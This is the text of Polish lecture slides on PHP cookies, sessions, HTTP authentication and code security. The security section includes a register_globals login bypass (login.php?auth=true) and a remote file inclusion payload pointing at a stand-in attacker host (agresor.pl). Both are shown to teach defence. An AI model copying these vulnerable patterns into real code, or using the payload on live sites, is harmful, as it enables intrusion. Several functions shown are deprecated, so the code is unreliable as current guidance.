Kurs WWW
Paweł Rajba
Paweł Rajba
pawel@ii.uni.wroc.pl
http://pawel.ii.uni.wroc.pl/
PHP i ciasteczka
Co to są ciasteczka (cookie)?
Jak to działa?
Kwestia buforowania
Tablica $_COOKIES[ ]
PHP i ciasteczka
int setcookie( string nazwa
[, string wartość
[, int data_ważności
[, string ścieżka
[, string domena
[, int bezpieczne]]]]])
nazwa – nazwa ciasteczka
wartość – wartość ciasteczka
PHP i ciasteczka
data_ważności – do kiedy ciasteczko jest
aktualne; liczba zwracana przez time() lub
mktime()
ścieżka – specyfikuje URLe w domenie dla
których ciastko jest dostępne
domena – domena dla której ciasteczko
będzie dostępne
bezpieczne – określa, czy ciasteczko powinno
być dostępne tylko za pomocą protokołu
HTTPS
PHP i ciasteczka
Kilka uwag dotyczących funkcji setcookie()
niektóre argumenty można pominąć podając
napisy puste
dwóch ostatnich argumenty w powyższy
sposób pominąć nie można
ciasteczko może być usunięte tylko z takimi
parametrami, z jakimi zostało usunięte
ustawione cookie będą widoczne dopiero po
przeładowaniu strony
PHP i ciasteczka
Kilka uwag... c.d.
usunięcie ciasteczka odbywa się przez
podanie wstecznej daty ważności –
przeglądarka uruchamia wtedy mechanizm
usunięcia ciastka
każda przeglądarka składuje cookies osobno
niekiedy przeglądarki różnie obsługują cookies
PHP i ciasteczka
Tablicowa obsługa ciasteczek
setcookie ("cookie[three]", "cookiethree");
setcookie ("cookie[two]", "cookietwo");
setcookie ("cookie[one]", "cookieone");
if (isset($_COOKIE['cookie'])) {
while (list($name, $value)=each($cookie))
{
echo "$name == $value<br>\n";
}
}
PHP i ciasteczka
Przykłady:
setcookie ("ciacho", "smaczne",time()+3600,
"/~pawel/", ".ii.uni.wroc.pl", 1);
ciacho.php
odwiedziny.php
PHP i nagłówki HTTP
int header(string treść_nagłówka)
wysyła nagłówek HTTP
przykłady:
");
$download_size = filesize($file_server_path);
header("Content-type: application/x-download");
header("Content-Disposition: attachment;
filename=$file_download_name;");
header("Accept-Ranges: bytes");
header("Content-Length: $download_size");
@readfile($file_server_path);
PHP i nagłówki HTTP
array headers_list (void)
lista nagłówków do wysłania
bool headers_sent (void)
sprawdza, czy nagłówki zostały już wysłane
PHP – buforowanie
bool ob_start ( [callback output_callback])
rozpoczęcie buforowania
bool ob_end_clean ( void )
kończy buforowanie i czyści bufor wyjściowy
bool ob_end_flush ( void )
kończy buforowanie i wypisuje zawartość
void ob_clean ( void )
czyści bufor wyjściowy
PHP – buforowanie
string ob_get_clean (void)
zwraca aktualną zawartość bufora i czyści
bufor
string ob_get_flush(void)
wypisuje zawartość bufora
zwraca go jako napis
kończy buforowanie
int ob_get_length(void)
zwraca rozmiar bufora wyjściowego
PHP – buforowanie
Przykład:
bufory.php
PHP i sesje - wprowadzenie
Jak to działa?
po co to? – stan aplikacji
rola klienta i serwera
identyfikator sesji (cookie lub zmienna GET)
PHP i sesje - wprowadzenie
Utworzenie sesji
Korzystanie z sesji
KLIENT
KLIENT
SERWER
SERWER
Klient wysyła żądanie zasobu
Serwer odsyła identyfikator
nowo utworzonej sesji
KLIENT
KLIENT
SERWER
SERWER
Klient wysyła żądanie zasobu
dołączając identyfikator sesji
Na serwerze
tworzona jest
nowa sesja
Na serwerze
odtwarzane
są dane sesji
PHP i sesje – zestaw funkcji
string session_name ([string nazwa])
pobierz i/lub ustaw nazwę dla sesji
wywołujemy przed session_start()
używana w identyfikatorze sesji (ciastka lub
URL, domyślnie PHPSESSID)
jeśli chcemy zmienić nazwę, to musimy ją
wywoływać na każdej stronie – w przeciwnym
razie od razu przywracana jest wartość z
session.name
PHP i sesje – zestaw funkcji
string session_id ([string id])
pobierz i/lub ustaw identyfikator sesji
jeżeli zmienić identyfikator bieżącej sesji, to
musimy wywołać funkcję przed session_start()
bool session_start(void)
tworzy (lub odtwarza) sesję w oparciu o
identyfikator sesji przekazywany przez
COOKIE lub parametr w URL.
jeżeli używamy sesji opartych o cookies, to
session_start() musi być wywołane przed
wysłaniem czegokolwiek do przeglądarki
PHP i sesje – zestaw funkcji
void session_write_close(void)
zapisuje dane i kończy sesję
void session_commit(void)
alias do session_write_close()
bool session_destroy(void)
niszczy sesję, nie usuwa ciasteczka
prosty sposób usunięcia ciastka sesyjnego:
setcookie(session_name(),"",0,"/")
PHP i sesje – przykład
licznik.php
PHP i sesje – zestaw funkcji
string session_save_path([string ścieżka])
pobierz i/lub ustaw ścieżkę zapisu bieżącej
sesji
w Foxserv domyślnie:
C:\FoxServ\sessiondata
bool session_regenerate_id(void)
tworzy nowy identyfikator dla sesji (dostępne
od PHP 4.3.2)
PHP i sesje – zestaw funkcji
string session_encode(void )
koduje dane sesji do postaci stringu
bool session_decode(string dane)
odtwarza dane sesji ze stringu
najpierw trzeba użyć session_start
void session_set_cookie_params(
int czas_życia
[, string ścieżka
[, string domena]])
ustawia parametry ciastka sesji
PHP i sesje – zestaw funkcji
array session_get_cookie_params(void)
zwraca parametry ciasteczka sesji
lifetime – czas życia sesji
path – ścieżka dla sesji
domain – domena ciasteczka
secure – ciasteczko może być przesyłane tylko
poprzez biezpieczne połączenie
PHP i sesje – zmienne (cz. 1)
bool session_register(mixed nazwa
[, mixed ...])
rejestruje zmienną globalną jako zmienną sesji
$dilbert = "Fajny komiks";
session_register("dilbert");
bool session_unregister(string nazwa)
wyjestruj zmienną z bieżącej sesji
PHP i sesje – zmienne (cz. 1)
void session_unset(void)
zwalnia wszystkie zmienne sesji
bool session_is_registered(string nazwa)
sprawdza, czy zmienna jest zarejestrowana
PHP i sesje – zmienne (cz. 2)
Używamy tablicy $_SESSION[ ] (w starszych
wersjach $HTTP_SESSION_VARS[ ])
ustanowienie zmiennej sesyjnej
$_SESSION["zmienna"] = "a to jej wartosc"
usunięcie zmiennej sesyjnej
unset($_SESSION["zmienna"])
usunięcie wszystkich zmiennych
$_SESSION = array()
sprawdzenie, czy zmienna istnieje
isset($_SESSION["zmienna"])
PHP i sesje - przykłady
Niszczenie sesji (pierwszy sposób)
<?php
// Jeśli używasz sesion_name("cośtam"),
// nie zapomnij o tym teraz!
session_start();
session_unset();
session_destroy();
?>
PHP i sesje - przykłady
Niszczenie sesji (drugi sposób)
<?php
// Jeśli używasz sesion_name("cośtam"),
// nie zapomnij o tym teraz!
session_start();
$_SESSION = array();
session_destroy();
?>
PHP i sesje
Propagowanie identyfikatora w URLu
kiedy stosować?
stała SID
opcja --enable-trans-sid
opcja --enable-trans-sid, a wydajność –
różnica ok. 10%
Zapisywanie danych sesji w bazie danych
do czego może się to przydać? (personalizacja)
funkcje session_encode() i session_decode()
PHP i sesje – opcje
session.save_path
określa, gdzie będą tworzone pliki z danymi
sesji
domyślnie: C:\FoxServ\sessiondata
session.name
określa nazwę sesji, która będzie też nazwą
ciastka
domyślnie PHPSESSID
PHP i sesje – opcje
session.auto_start
określa, czy sesja ma być uruchamiana
automatycznie na początku wywołania
domyślnie 0 (wyłączone)
session.cookie_lifetime
określa w sekundach długość życia ciastka
sesyjnego
0 oznacza "dopóki przeglądarka nie została
zamknięta"
domyślnie 0
PHP i sesje – opcje
session.use_cookies
określa, czy identyfikator sesji będzie po
stronie klienta pamiętany za pomocą ciastka
domyślnie 1 (włączone)
session.use_only_cookies
określa, czy do pomiętania id sesji mają być
wykorzystywane tylko ciastka
domyślnie 0 (ze względu na kompatybilność)
zwiększa bezpieczeństwo
Kontrola dostępu do danych
Terminologia
Authentication – identyfikacja
Authorization – czy jest dostęp do zasobu
Access Control – sterowanie dostępem do
zasobu (może zależeć od innych czynników)
Autoryzacja HTTP
Rodzaje
Basic
Digest
Główna zaleta Digest – hasło nie jest
przesyłane jawnym tekstem
Autoryzacja HTTP w Apache'u
Najpierw sprawdzamy, czy apache jest
skompilowany z modułem mod_auth.c
apache.exe -l
httpd -l
Upewniamy się, że pliku
httpd.conf
jest wpis
AllowOverride All
Teraz, możemy utworzyć plik .htaccess w
każdym katalogu w którym chcemy sterować
prawami dostepu
Autoryzacja HTTP w Apache'u
Przykładowa zawartość pliku
.htaccess
<Files tajne.php supertajne.php>
AuthType Basic
AuthUserFile /usr/local/apache/users
AuthName "Administration Module"
Require valid-user // pawel zenek
Order allow,deny
Allow from swiatowit.ii.uni.wroc.pl
Deny from all
Satisfy any // all
</Files>
Pominięcie znacznika Files sprawi, że chroniona
będzie cała zawartość katalogu
Autoryzacja HTTP w Apache'u
Na końcu tworzymy użytkownika
htpasswd -c users pawel
htpasswd users john
istotne, żeby pliku z użytkownikami nie
trzymać w miejscu dostępnym z przeglądarki
Autoryzacja HTTP w Apache'u
Podsumowanie
wystarcza przy mało wymagającej autoryzacji
ograniczenia przy zarządzaniu użytkownikami
interfejs przeglądarki
wylogowanie poprzez wyłączenie przeglądarki
konieczność ingerencji w konfigurację serwera
Autoryzacja HTTP w PHP
Kilka uwag na początek:
obsługiwana tylko wtedy, gdy PHP działa jako
moduł Apache (jako CGI – nie działa)
obecnie obsługiwana jest tylko autoryzacja
typu Basic
po wysłaniu nagłówków, użytkownik wpisuje
dane użytkownika i hasło, które są
przekazywane w zmiennych
$_SERVER['PHP_AUTH_USER']
$_SERVER['PHP_AUTH_PW']
Autoryzacja HTTP w PHP
Przykład:
httpauth.php
Autoryzacja – sesje w PHP
Etapy dostępu do danych
Logowanie
pobranie danych użytkownika (login + hasło)
weryfikacja
odnotowanie faktu weryfikacji w logach
rozpoczęcie sesji
Autoryzacja – sesje w PHP
Etapy dostępu do danych
Użycie sesji
podtrzymanie sesji
ponowna weryfikacja uprawnień
Wylogowanie
zakończenie sesji
odnotowanie faktu w logach
usunięcie danych związanych z sesją (ważne)
Autoryzacja – sesje w PHP
Przykład:
login.php
i
pokaz.php
Autoryzacja – sesje w PHP
Sprawdzanie hasła:
jak w przykładzie
na podstawie pliku tekstowego
na podstawie bazy danych
W miarę możliwości nigdzie nie trzymamy
haseł w postaci jawnej
Autoryzacja – sesje w PHP
Zalety przechowywania haseł w pliku
dobre dla obsługi kilku użytkowników
łatwa obsługa
nie wymagają dodatkowego oprogramowania
Zalety przechowywania haseł w bazie danych
możliwość obsługi bardzo wielu użytkowników
szybszy dostęp
lepsze zarządzanie zawartością
większe bezpieczeństwo
Autoryzacja – sesje w PHP
Przesyłanie hasła
jawny tekst
szyfrogram md5 (obliczany po stronie klienta)
Bezpieczeństwo kodu PHP
Opcja
register_globals
w php.ini
jej włączenie powoduje, że wszystkie dane
pochodzące od użytkownika są dostępne z
poziomu zmiennej (POST, GET, COOKIE, ...)
powinna być wyłączona (Off) i tak jest
domyślnie
Przykład (login.php):
<?php
if ($password == "as3jksj4w") $auth=true;
if ($auth) uruchom_tajne_procedury();
?>
Bezpieczeństwo kodu PHP
A teraz uruchamiamy skrypt
login.php?auth=true
Przykład: (login.php ulepszony)
<?php
$auth=false;
if ($password == "as3jksj4w") $auth=true;
if ($auth) uruchom_tajne_procedury();
?>
Bezpieczeństwo kodu PHP
Raportowanie błędów – error_reporting()
podczas pisania skryptów, testowania należy
włączyć raportowanie
error_reporting(E_ALL)
przy wdrażaniu aplikacji należy wszystkie
raportowania bezwzględnie powyłączać
error_reporting(0)
Bezpieczeństwo kodu PHP
Weryfikacja danych pochodzących od
użytkownika
sprawdzić należy wszystkie dane w
szczególności pod kątem
typ danych
zawartość
długość
akceptujemy te tylko dane, których się
spodziewaliśmy
nigdy nie polegamy na weryfikacji po stronie
klienta
Bezpieczeństwo kodu PHP
W jaki sposób weryfikować?
sprawdzić typy
skorzystać z wyrażeń regularnych
sprawdzić wielkość
sprawdzić zbiór dopuszczalnych wartości
...
Bezpieczeństwo kodu PHP
Przykład:
<?php
if (isset($_GET["plik"])) include($_GET["plik"]);
?>
i agresor robi tak:
skrypt.php?plik=http://agresor.pl/zlosliwy.php
Bezpieczeństwo kodu PHP
Wszystkie pliki PHP powinny być przez
serwer parsowane
jeżeli dajemy rozszerzenie
.inc
, to musimy się
upewnić, że pliki z tym rozszerzeniem są
interpretowane
Nie należy dawać możliwości oglądnięcia
wyniku działania funkcji
phpinfo()
Bezpieczeństwo kodu PHP
Upload plików
należy upewniać się, że upload pliku
faktycznie miał miejsce – służą do tego
funkcje
is_uploaded_file()
move_uploaded_file()
Bezpieczeństwo kodu PHP
Tryb bezpieczny (safe_mode)
jeśli możliwe, należy z tego korzystać, chociaż
lepiej dobrze skonfigurować serwer WWW
skrypt ma dostęp tylko to tych plików których
właścicielem jest właściciel skryptu
Bezpieczeństwo kodu PHP
Dyrektywy odpowiedzialne za tryb bezpieczny
safe_mode = Off
safe_mode_gid = 0
safe_mode_include_dir =
safe_mode_exec_dir =
open_basedir =
safe_mode_allowed_env_vars = PHP_
safe_mode_protected_env_vars =
LD_LIBRARY_PATH
disable_functions =
Bezpieczeństwo kodu PHP
Ukrywanie rozszerzeń
dodajemy w pliku httpd.conf
(ewentualnie .htaccess)
AddType application/x-httpd-php .htm .html
Ukrywanie hasła do bazy danych (plik httpd.conf)
<Directory "C:\Foxserv\www\test">
php_admin_value open_basedir C:\Foxserv\www\test
php_admin_value disable_functions a3js8ge4a2
</Directory>
<?php
echo ini_get("disabled_functions");
?>